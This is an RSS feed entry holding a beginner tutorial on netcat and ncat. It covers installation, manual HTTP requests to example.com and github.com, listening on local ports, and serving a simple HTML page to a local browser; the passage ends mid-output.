<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux Commands &#8211; NoobLinux</title>
	<atom:link href="https://nooblinux.com/category/linux-commands/feed/" rel="self" type="application/rss+xml" />
	<link>https://nooblinux.com</link>
	<description>Linux Tutorials Aimed at Beginners</description>
	<lastBuildDate>Mon, 08 Nov 2021 09:10:31 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>

<image>
	<url>https://nooblinux.com/wp-content/uploads/2021/10/cropped-MOSHED-2021-10-19-23-49-53-e1634757568151-32x32.jpg</url>
	<title>Linux Commands &#8211; NoobLinux</title>
	<link>https://nooblinux.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">198948974</site>	<item>
		<title>How to Use The Netcat (nc) Command: An In-Depth Tutorial</title>
		<link>https://nooblinux.com/how-to-use-netcat/</link>
					<comments>https://nooblinux.com/how-to-use-netcat/#comments</comments>
		
		<dc:creator><![CDATA[Mahmud Hasan Saikot]]></dc:creator>
		<pubDate>Mon, 18 Oct 2021 22:40:57 +0000</pubDate>
				<category><![CDATA[Linux Commands]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[netcat]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3208</guid>

					<description><![CDATA[Netcat is one of the most versatile networking tools for system administrators – it is called the Swiss army knife of Networking. This tool can be used for creating any connections over TCP or UDP protocol which makes it an excellent debugging tool. It helps the user investigate connections directly by connecting to them. Netcat [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p><strong>Netcat</strong> is one of the most versatile networking tools for system administrators – it is called the <strong>Swiss army knife of Networking</strong>.</p>



<p>This tool can be used for creating any connections over TCP or UDP protocol which makes it an excellent debugging tool. It helps the user investigate connections directly by connecting to them.</p>



<p><strong>Netcat</strong> can also perform <em>port scanning</em>, <em>file transfer</em>, and sometimes it might be used by the hackers or penetration testers for <em>creating a backdoor into a system</em>.</p>



<p>In this tutorial, we’ll be covering the <strong>Netcat utility</strong> or <code>nc</code> command in detail.</p>



<p class="black-bg"><strong>Netcat</strong> was developed back in 1995. Despite its usefulness and popularity, it was not maintained. Many other versions of it have been developed since then. One of the most prominent among them is called <code>Ncat</code>, developed by the <strong>Nmap project</strong>.<br><br><strong>Ncat</strong> expands on the features of the traditional <strong>Netcat</strong> package. We’ll also touch on some of the functionalities of this tool.<br><br>However <strong>Ncat </strong>lacks the port scanning feature that Netcat has. This is because <strong>Nmap</strong> can already be has much more advanced port scanning capabilities.</p>



<p>I have installed <strong>Ncat</strong> and will be using it this tutorial, but I&#8217;ll refer to the software by both <strong>Ncat&nbsp;</strong>or&nbsp;<strong>Netcat</strong>.</p>






<h2 id="installing-traditional-netcat-ncat" class="wp-block-heading">Installing traditional Netcat &amp; Ncat</h2>



<p><strong>Netcat</strong> is available for Linux, Windows, and macOS.</p>



<p>If you’re running a Linux machine, chances are Netcat is already installed. However, you do need to install Netcat in other operating systems.</p>



<p><strong>Ncat</strong> is not available on any of the operating systems by default, so we&#8217;ll have to install it no matter what OS we&#8217;re using.</p>



<h3 id="installing-ncat-on-linux" class="wp-block-heading">Installing Ncat on Linux</h3>



<p>If you’re running Debian or Ubuntu-based systems, you can install it using the <strong>apt</strong> utility. To install&nbsp;<strong>ncat</strong> run:</p>



<pre class="wp-block-code prompt"><code>sudo apt-get install ncat</code></pre>



<p>On Redhat or CentOS-based distros, you can use <code>yum</code>. To install&nbsp;<strong>ncat</strong> run:</p>



<pre class="wp-block-preformatted promptrhel">sudo yum install ncat</pre>



<p class="neon-border"><strong>Notice:</strong> If you install&nbsp;<strong>Ncat</strong> then the <code>nc</code> or <code>netcat</code> command will use <strong>Ncat</strong> by default.<br><br>Installing <strong>Ncat</strong> will allow all the functionalities of the traditional <strong>Netcat</strong> and much more. </p>



<h3 id="installing-ncat-on-windows" class="wp-block-heading">Installing Ncat on Windows</h3>



<p>You can install Ncat on Windows by installing Nmap &#8211; and it will be installed alongside it.</p>



<p>To install Nmap you&#8217;ll use their self-installer, which you can find here <a href="https://nmap.org/download.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://nmap.org/download.html<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. Find and download the latest stable self-installer, which looks something like this <code>nmap--setup.exe</code>, and then run it after it&#8217;s downloaded.</p>



<h3 id="installing-ncat-on-mac-os-x" class="wp-block-heading">Installing Ncat on MAC OS X</h3>



<p>You should be able to get <strong>Ncat</strong> installed alongside Nmap. To install Nmap on Mac OS X you can check the <a href="https://nmap.org/book/inst-macosx.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">installation instructions on Nmap.org<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>You can also find a very short section with instructions on <a href="https://bytexd.com/how-to-use-nmap/#install-nmap-on-mac-os-x" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">how to install Nmap on Mac OS X in our Nmap tutorial<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, should you have issues with the instructions on their site.</p>



<h3 id="installing-ncat-on-android-with-termux" class="wp-block-heading">Installing Ncat on Android with Termux</h3>



<p>Assuming that you already have Termux installed on your Android, you can install <strong>Ncat</strong> by installing Nmap.</p>



<p>To do this update your package index:</p>



<pre class="wp-block-preformatted prompt">apt update</pre>



<p>Then install Nmap by running:</p>



<pre class="wp-block-preformatted prompt">pkg install nmap</pre>



<h2 id="basics-of-connections-with-netcat" class="wp-block-heading">Basics of connections with Netcat</h2>



<p>Before we learn how to use the tool, let’s learn some basics of how it works.</p>



<p>Netcat can produce different types of connections based on how you use it. Traditional <code>nc</code> command will only work over the <strong>TCP</strong> and <strong>UDP</strong> protocol. However, the <strong>Ncat</strong> command supports <code>SSL</code>, <code>IPv6</code>, etc.</p>



<p>You can think of Netcat to be performing the tasks of both the client and the server in a Client-Server based connection model. You can read more about this model in our tutorial, <a href="https://bytexd.com/basics-http-requests-curl-tutorial/#basics-of-http-requests-responses" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Basics of HTTP Requests with cURL<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, under the <strong>Basics of HTTP Requests &amp; Responses</strong> section.</p>



<p class="black-bg">In short, you can create a server listening in any port and a client connecting to any port with Netcat.</p>



<p>Let’s see how to create a client and a server with Netcat.</p>



<h3 id="creating-a-client-with-netcat" class="wp-block-heading">Creating a client with Netcat</h3>



<p>If you’re reading this tutorial, then most likely you’re using some browser. Your browser work as <strong>a client</strong> to get the page from our <code>nooblinux.com</code> server.</p>



<p>You can <strong>create a client</strong> by connecting to any host and port you like with Netcat.</p>



<p><strong>Netcat</strong> has a basic syntax of:</p>



<pre class="wp-block-preformatted prompt">nc [options] host port</pre>



<p>You can use the <code>-n</code> flag to enter numeric-only or the IP address of the host; which will bypass the DNS name resolution:</p>



<pre class="wp-block-preformatted prompt">nc -n [IP address] port</pre>



<p>Type in the hostname or IP address and Port with the <code>nc</code> command to create a client:</p>



<pre class="wp-block-preformatted prompt">nc -v example.com 80</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.</pre>



<p class="neon-border"><strong>Note:</strong> I&#8217;m using <strong>Ncat</strong> throughout this article. If you&#8217;re using&nbsp;<strong>Netcat</strong>, your output for the above command may look like this:<br><br><code>Connection to example.com 80 port [tcp/http] succeeded!</code></p>



<p class="purple-border">Here, we created a client with Ncat connecting to the <strong>example.com</strong> server on port 80.<br><br>Once you run this command <strong>you’ll see nothing is happening</strong> after this.<br><br>This just means that you’ve connected with the server.<br><br>It might feel unusual because most of us are used to a <strong>prompt symbol</strong> that indicates the system&#8217;s readiness to perform the next command, but this is just how it works with Netcat/Ncat.</p>



<p>Now you can request the server and then get a response.</p>



<p>Let’s try to send something to the server.</p>



<p>Type in some text after the output texts shown above and <strong>hit Enter twice</strong> (this is because some requests require multiple lines, so the first <code>Enter</code> is a newline, and the second one it sends the request). It can be any text. I&#8217;ll just write <code>hi</code>.</p>



<p>Let’s see what response we get from the server:</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Warning: inverse host lookup failed for 93.184.216.34: Unknown host
example.com [93.184.216.34] 80 (http) open
hi

HTTP/1.0 501 Not Implemented 
Content-Type: text/html 
Content-Length: 357 
Connection: close 
Date: Sat, 10 Jul 2021 20:07:39 GMT 
Server: ECSF (dcb/7F60) 

&amp;lt;?xml version="1.0" encoding="iso-8859-1"?&amp;gt; 
&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;
&amp;lt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"&amp;gt;
&amp;lt;head&amp;gt; 
&amp;lt;title&amp;gt;501 - Not Implemented&amp;lt;/title&amp;gt; 
&amp;lt;/head&amp;gt; 
&amp;lt;body&amp;gt; 
&amp;lt;h1&amp;gt;501 - Not Implemented&amp;lt;/h1&amp;gt; 
&amp;lt;/body&amp;gt; 
&amp;lt;/html&amp;gt; 
</pre>



<p>We sent <code>hi</code> to the server and then the server sent us the response that you can see in the output. The server sent us the Status code <code>501 Not Implemented</code> which means the server does not support the functionality to fulfill our request.</p>



<p>That’s a given. Let’s request something that a server understands.</p>



<h4 id="http-requests-with-netcat" class="wp-block-heading">HTTP Requests with Netcat</h4>



<p>If you know anything about HTTP requests then you should know that your browser performs a GET request to show you a webpage. After you have connected to the server, your browser sends special messages to the server with the request and the server responds accordingly.</p>



<p>cURL is a very good utility that can perform any HTTP requests (we also have a tutorial on cURL if you&#8217;re interested <a href="https://bytexd.com/basics-http-requests-curl-tutorial/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Basics of HTTP Requests with cURL: An In-Depth Tutorial<span class="wpel-icon wpel-image wpel-icon-19"></span></a>).</p>



<p>Let’s find out what it sends to get a response back from the server.</p>



<p>Run the <code>curl</code> command in a verbose mode (<code>-v</code>) and set the <code>-I</code> flag or <code>--head</code> option to only see the Request and Response Headers:</p>



<pre class="wp-block-preformatted prompt">curl -v -I example.com</pre>


<div class="codeblock-title">Output</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="1-3,5-9" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">*   Trying 93.184.216.34:80...
* TCP_NODELAY set
* Connected to example.com (93.184.216.34) port 80 (#0)

> HEAD / HTTP/1.1
> Host: example.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 200 OK
HTTP/1.1 200 OK
&lt; Accept-Ranges: bytes
Accept-Ranges: bytes
&lt; Age: 443586
Age: 443586
&lt; Cache-Control: max-age=604800
Cache-Control: max-age=604800
&lt; Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
&lt; Date: Sat, 10 Jul 2021 20:16:51 GMT
Date: Sat, 10 Jul 2021 20:16:51 GMT
&lt; Etag: "3147526947"
Etag: "3147526947"
&lt; Expires: Sat, 17 Jul 2021 20:16:51 GMT
Expires: Sat, 17 Jul 2021 20:16:51 GMT
&lt; Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
&lt; Server: ECS (dcb/7F38)
Server: ECS (dcb/7F38)
&lt; X-Cache: HIT
X-Cache: HIT
&lt; Content-Length: 1256
Content-Length: 1256

&lt;
* Connection #0 to host example.com left intact</pre>



<p>As you can see in the output, lines <strong>1 to 3</strong> are the Connection part. The next section, lines <strong>5 to 9</strong>,&nbsp; is the request that curl, which in this case is our client, sent to the server. The later section is the <strong>Response Header</strong> that the server sent back.</p>



<p>Now, when you’re running Netcat, the <strong>lines 1 to 3</strong> portion is being performed at first. Then you can talk to the server. Let’s generate the same response using Netcat.</p>



<p>To get the response from the server, we have to craft the request message first. The head request portion of the output from the curl command is:</p>


<div class="codeblock-title">HEAD Request</div>



<pre class="wp-block-preformatted">HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*</pre>



<p>Now let’s connect Netcat to <strong>example.com</strong> again.</p>



<pre class="wp-block-preformatted prompt">nc -v example.com 80</pre>



<p>Now copy and paste the above portion (the GET Request), after the the <code>Ncat: Connected to 93.184.216.34:80</code>. output, in the Netcat terminal and hit <code>Enter</code> twice.</p>


<div class="codeblock-title">Request (lines 3-6), along with output (lines 8-19)</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3-6" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.
HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*

HTTP/1.1 200 OK
Age: 594540
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Sat, 10 Jul 2021 22:33:44 GMT
Etag: "3147526947+ident"
Expires: Sat, 17 Jul 2021 22:33:44 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EA3)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256</pre>



<p>This is great! You’ve just got the same <strong>Request and Response Headers</strong> that you got using cURL as your client.</p>



<p class="neon-border"><strong>Important:</strong> At first glance this response may not look the same as with cURL, because the cURL response has duplicate lines &#8211; if you look closely, the responses are near identical.</p>



<p>Let’s try <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">OPTIONS<span class="wpel-icon wpel-image wpel-icon-19"></span></a> request instead of <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">HEAD<span class="wpel-icon wpel-image wpel-icon-19"></span></a> request. This time we’ll just type the request in, since it&#8217;s shorter.</p>



<p>First we&#8217;ll connect to the&nbsp;<strong>example.com</strong> server.</p>



<pre class="wp-block-preformatted prompt">nc -v example.com 80</pre>



<p>We&#8217;ll get the usual output:</p>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.</pre>



<p>After which we&#8217;ll just write the OPTIONS request <code>OPTIONS / HTTP/1.0</code> and press <code>Enter</code> twice:</p>


<div class="codeblock-title">Request (line 3) and Output after that</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.
OPTIONS / HTTP/1.0

HTTP/1.0 200 OK
Allow: OPTIONS, GET, HEAD, POST
Date: Sun, 11 Jul 2021 11:34:16 GMT
Server: ECS (dcb/7F14)
Content-Length: 0
Connection: close</pre>



<h4 id="using-printf-and-piping-with-netcat" class="wp-block-heading">Using Printf and Piping with Netcat</h4>



<p class="orange-border"><strong>Important Note: </strong>Sometimes you might get some error while typing the requests inside Netcat. That is because HTTP requests require certain formatting with <strong>Line Endings</strong>.<br><br>There also may be other reasons that your requests don&#8217;t work, as such it&#8217;s good to know that you have an alternative method of making requests and sending them through Netcat.</p>



<p>You can also try any request <strong>piping the output of printf</strong> command into Netcat.</p>



<p>To do this, run the following command outside of Netcat:</p>



<pre class="wp-block-preformatted prompt">printf "HEAD / HTTP/1.1\r\nUser-Agent: curl/7.74.0\r\nHost: example.com\r\nAccept: */*\r\n\r\n" | nc example.com 80</pre>



<p>In this command, <code>\r</code> create the new lines for the HTTP request.</p>



<p>These are called carriage return (<strong>cr</strong>) and line feed (<strong>lf</strong>). These names are derived from the age of typewriters.</p>



<p>You basically sent the same HEAD request as before, but wrote it on one line.</p>



<pre class="wp-block-preformatted">HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*</pre>



<p>Becomes:</p>



<pre class="wp-block-preformatted">HEAD / HTTP/1.1\r\nUser-Agent: curl/7.74.0\r\nHost: example.com\r\nAccept: */*\r\n\r\n</pre>



<p>After that, we use the <code>printf</code> command (<strong>print f</strong>ormatted), which properly formats our the request, so then we pass it on to Netcat through <a href="https://www.geeksforgeeks.org/piping-in-unix-or-linux/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">piping (the | symbol)<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<h3 id="creating-a-server-with-netcat" class="wp-block-heading">Creating a Server with Netcat</h3>



<p>In previous sections, we showed you how to create a client with Netcat.</p>



<p class="neon-border">You essentially learned what a browser does to request a webpage from the server.</p>



<p>Now we’ll show you how the server responds with the help of Netcat.</p>



<p>Netcat can start listening on any port you specify. This is what gives it the ability to create a server on the fly.</p>



<p>Let’s learn how to listen on a port with netcat before we get started.</p>



<h4 id="listening-on-a-port-with-netcat" class="wp-block-heading">Listening on a port with Netcat</h4>



<p>You can see the available options Netcat offers by simply typing in <code>nc -h</code>. By default, netcat creates TCP connections. You can create UDP connections using the <code>-u</code> flag. However, we’ll use the default TCP connection for now.</p>



<p>The <code>-l</code> flag can be used for listening and the <code>-p</code> flag is for specifying the port to listen on.</p>



<p>Let’s look at an example. We’ll make netcat listen on port 4000 by combining the two flags together:</p>



<pre class="wp-block-preformatted prompt">nc -lp 4000</pre>



<p>This command will make netcat start listening on port 4000. But you&#8217;ll only see the cursor blinking.</p>



<p>You can use the keyboard interrupt <strong>CTRL + C</strong> to stop the command.</p>



<p>Let’s turn on the verbose output by combining the <code>-v</code> flag:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now you will see netcat telling you that it’s listening on port 4000. This is how you start listening on any port.</p>



<h4 id="creating-a-simple-web-server-with-netcat" class="wp-block-heading">Creating a simple web server with Netcat</h4>



<p>Now that you know how to listen on ports with Netcat, let’s try to create a simple webserver with netcat. You’ll learn how a server responds to a client in this section.</p>



<p>First, let’s start a Netcat listening on port 5000 in verbose mode:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 5000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::5000
Ncat: Listening on 0.0.0.0:5000</pre>



<p>Now fire up your browser and try connecting on this port. Type <code>localhost:5000/</code> in your browser. Hit enter and take a look at your terminal window running Netcat. You&#8217;ll see the browser request directly showing up in your Netcat terminal:</p>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:46830.
GET / HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
</pre>



<div class="wp-block-group purple-border is-layout-flow wp-block-group-is-layout-flow">
<p><strong>Side note</strong>: You can tell from the <strong>User-Agent</strong> value, which is <code>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</code>. You can also use a tool that analyzes user agent strings such as this <a href="https://developers.whatismybrowser.com/useragents/parse/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://developers.whatismybrowser.com/useragents/parse/<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, to find out. Just paste in the user agent string in the input field and click <code>Parse this user agent</code>.<br><br></p>



<p>Interesting, isn’t it? Can you guess which browser I’m using? It’s Firefox 89 on Ubuntu Linux.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="1024" height="514" src="https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1.webp" alt="" class="wp-image-3468" srcset="https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1.webp 1024w, https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1-300x151.webp 300w, https://nooblinux.com/wp-content/uploads/2021/10/parse_useragent-1024x514-1-768x386.webp 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
</div>



<p>Now that the client (Firefox) has requested the server (netcat) you can do more cool things.</p>



<p>You can start typing in the response Firefox will get.</p>



<p>However, you need to speak the language of the browser! Otherwise, you won’t see the output.</p>



<p>Remember the response Header we got from example.com in the previous section? Let’s take a look:</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="1,4,9" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">HTTP/1.1 200 OK
Age: 594540
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Sat, 10 Jul 2021 22:33:44 GMT
Etag: "3147526947+ident"
Expires: Sat, 17 Jul 2021 22:33:44 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EA3)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256</pre>



<p>As always, the status code is the first line of the response. We do not require all of the responses, however.</p>



<p>We’ll just use the Status code, Content-Type and Server, which I&#8217;ve highlighted.</p>



<p>With that let’s try to construct our server message:</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux</pre>



<p>After typing this in hit enter twice and create a new empty line.</p>



<p>Next, you’ll type in the HTML page yourself and see it showing up on the browser in real-time! We’ll create a title for our page in real-time. If you know the HTML you can do it yourself. You can also copy this in your terminal.</p>



<p>The message should look something like this:</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

&lt;!doctype html&gt;
&lt;title&gt;NoobLinux&lt;/title&gt;</pre>



<p>Hit enter and you’ll see the browser tab change from <code>localhost:5000</code> to <code>NoobLinux</code>. Here&#8217;s a quick video of me doing that, in case this is a bit confusing:</p>



<a href="https://nooblinux.com/how-to-use-netcat/" data-wpel-link="internal"><img decoding="async" src="https://nooblinux.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=%2F%2Fi.ytimg.com%2Fvi%2Fq-eg3VFlM1E%2Fhqdefault.jpg" alt="YouTube Video"></a><br /><br /></p>



<p>Cool! Now let’s do more. Create a heading with <code>&lt;h1&gt;&lt;/h1&gt;</code> tags.</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

&lt;!doctype html&gt;
&lt;title&gt;NoobLinux&lt;/title&gt;
&lt;h1&gt;Can you see me?&lt;/h1&gt;</pre>



<p>Hit enter and voila! You’ll see the heading appearing in the browser in real-time.</p>



<figure class="wp-block-image alignnone size-full size-large wp-image-4401"><img decoding="async" width="898" height="416" src="https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me.png" alt="" class="wp-image-3336" srcset="https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me.png 898w, https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me-300x139.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/can_you_see_me-768x356.png 768w" sizes="(max-width: 898px) 100vw, 898px" /><figcaption>Added &#8220;&lt;h1&gt;Can you see me?&lt;/h1&gt;&#8221;</figcaption></figure>



<p>You can keep playing like this and the browser will show output according to your messages.</p>



<p>Lastly, we&#8217;ll do a final example where we add a photo:</p>



<pre class="wp-block-preformatted">HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

&lt;!doctype html&gt;
&lt;title&gt; NoobLinux &lt;/title&gt;
&lt;h1&gt;Can you see me?&lt;/h1&gt;
&lt;img src="https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/Image_created_with_a_mobile_phone.png/1280px-Image_created_with_a_mobile_phone.png"&gt;</pre>



<figure class="wp-block-image alignnone size-large wp-image-4402"><img decoding="async" width="1024" height="539" src="https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-1024x539.png" alt="" class="wp-image-3341" srcset="https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-1024x539.png 1024w, https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-300x158.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1-768x404.png 768w, https://nooblinux.com/wp-content/uploads/2021/10/added_photo_netcat-1.png 1165w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Added an image from Wikimedia Commons in the HTML.</figcaption></figure>



<h3 id="communicating-over-ssl-with-ncat" class="wp-block-heading">Communicating over SSL with Ncat</h3>



<p>You can receive as well as create any connections over TCP and UDP protocols with Netcat. The traditional Netcat does not support SSL encryption and HTTPS. Ncat, however, comes with SSL support.</p>



<p>We can activate it by using the <code>--ssl</code> flag. If you haven’t installed Ncat, <a href="https://nooblinux.com/how-to-use-netcat/#installing-traditional-netcat-ncat" data-wpel-link="internal">now would be a good time</a>.</p>



<p>Now we&#8217;ll play with sending a HEAD request to <code>github.com</code> and see how to activate SSL support, and what happens when we don&#8217;t.</p>



<p>First we&#8217;ll send a HEAD request like we did in the beginning of the tutorial, to the <code>github.com</code> server, on port <code>80</code>.</p>



<p>We&#8217;ll make the request by sending it from <code>print</code> by <a href="https://nooblinux.com/how-to-use-netcat/#using-printf-and-piping-with-netcat" data-wpel-link="internal">using printf and piping with Netcat</a> (remember when we discussed this earlier).</p>



<pre class="wp-block-preformatted prompt">printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v github.com 80</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 140.82.121.4:80.
HTTP/1.1 301 Moved Permanently
Content-Length: 0
Location: https://github.com/</pre>



<p>You can see that the <strong>github.com</strong> server gives us the <code>status code 301</code>, which means a redirect should be done.</p>



<p>Indeed, the github server accepts connection only with HTTPS or SSL encryption with the HTTP requests.</p>



<p>Let’s try using the port 443 as we know it is for HTTPS.</p>



<pre class="wp-block-preformatted prompt">printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v github.com 443</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 140.82.121.4:443.
Ncat: 37 bytes sent, 0 bytes received in 0.26 seconds.</pre>



<p>It also fails this time. This is because <code>ncat</code> is sending requests without SSL encryption. We have to enable SSL encryption.</p>



<p>Type the following command using the <code>--ssl</code> flag of the Ncat command:</p>



<pre class="wp-block-preformatted prompt">printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v --ssl github.com 443</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: SSL connection to 140.82.121.4:443. GitHub, Inc.
Ncat: SHA-1 fingerprint: 8463 B3A9 2912 CCFD 1D31 4705 989B EC13 9937 D0D7
HTTP/1.1 200 OK
Server: GitHub.com
Date: Mon, 12 Jul 2021 00:38:44 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, Accept-Language, Accept-Encoding, Accept, X-Requested-With
permissions-policy: interest-cohort=()
ETag: W/"94946c032884213d15c51f6ed29ed03e"
Cache-Control: max-age=0, private, must-revalidate
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: deny
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
